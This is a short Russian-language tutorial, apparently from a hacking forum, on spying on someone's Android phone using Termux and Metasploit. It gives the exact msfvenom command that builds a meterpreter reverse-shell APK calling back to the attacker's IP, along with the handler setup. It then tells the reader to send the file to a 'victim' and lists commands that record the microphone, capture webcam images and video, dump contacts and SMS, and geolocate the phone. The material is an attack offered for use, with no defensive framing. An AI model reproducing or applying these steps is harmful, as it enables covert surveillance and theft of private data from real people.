Скачиваем и установливаем Termux.
Устанавливаем metasploit.
Даём разрешение на сохранение файлов в корневой папки телефона.
Заходим в разрешения приложений>Память
Ставим галочку напротив Termux
Далее открываем metasploit командой "msfconsole"
Узнаём свой IP командой "ifconfig"
Пишем "msfvenom -p android/meterpreter/reverse_tcp LHOST=СВОЙ ИП LPORT=4444 R > bhf.apk"
Файл сохраняется в /data/data/com.termux/files/home ,также можно изменить место сохранения файла.
Пишем "use multi/handler"
Пишем "set payload android/meterpreter/reverse_tcp"
Пишем "set LHOST СВОЙ ИП"
Пишем "set LPORT 4444"
Запускаем "exploit"
Теперь кидаем файл жертве. Жертва открывает файл и устанавливает приложение. Когда жертва его установит,то у нас в консоли высветятся данные о жертве , его ИП , юсер-агент,время запуска и т.п
После того ,как у нас появилось, это сообщение то и появится доступ к вводу в консоль.
Напишу, что же может данный exploit.
Данные команды нужно вводить в консоль после того,как жертва запустит и установит файл.
record_mic - Запись с микрофона.
webcam_snap - Делает онли фото с основной камеры (качество не самое лучшее)
webcam_stream - Записывает видео (Качество тоже не самое лучшее)
dump_contacts - Сохраняет контакты с sim-карты
dump_sms - Сохраняет смс с sim-карты
geolocate - Показывает местоположение телефона, координаты
КОПИРОВАТЬ И ВСТАВЛЯТЬ КОМАНДЫ НУЖНО БЕЗ КАВЫЧЕК ,ЭТО ОБЯЗАТЕЛЬНО.
